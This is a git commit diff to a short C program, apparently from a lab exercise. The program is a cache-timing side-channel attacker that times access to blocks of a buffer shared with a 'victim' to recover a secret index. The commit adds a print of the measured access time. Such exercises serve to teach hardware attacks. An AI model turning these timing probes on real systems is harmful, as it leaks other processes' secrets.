part2 ver 0.2.1
This commit is contained in:
parent
84ea3267db
commit
a5c6a2bd5f
|
@ -12,7 +12,7 @@
|
||||||
#define WAIT_TIME 100
|
#define WAIT_TIME 100
|
||||||
int main() {
|
int main() {
|
||||||
int flag = -1;
|
int flag = -1;
|
||||||
|
CYCLES time = -1;
|
||||||
// buf is shared between the attacker and the victim
|
// buf is shared between the attacker and the victim
|
||||||
char *buf = allocate_shared_buffer();
|
char *buf = allocate_shared_buffer();
|
||||||
|
|
||||||
|
@ -22,13 +22,14 @@ int main() {
|
||||||
}
|
}
|
||||||
for(int i = 0; i < WAIT_TIME; i++);
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
for(int i = 0; i < 1024; i++) {
|
for(int i = 0; i < 1024; i++) {
|
||||||
CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
|
time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
|
||||||
if(time < CACHE_HIT_THRESHOLD) {
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
flag = (i * 10020107) % 1024;
|
flag = (i * 10020107) % 1024;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
printf("Flag: %d\n", flag);
|
printf("Flag: %d\n", flag);
|
||||||
|
printf("Time: %d\n", time);
|
||||||
|
|
||||||
deallocate_shared_buffer(buf);
|
deallocate_shared_buffer(buf);
|
||||||
return 0;
|
return 0;
|
||||||
|
|
Loading…
Reference in New Issue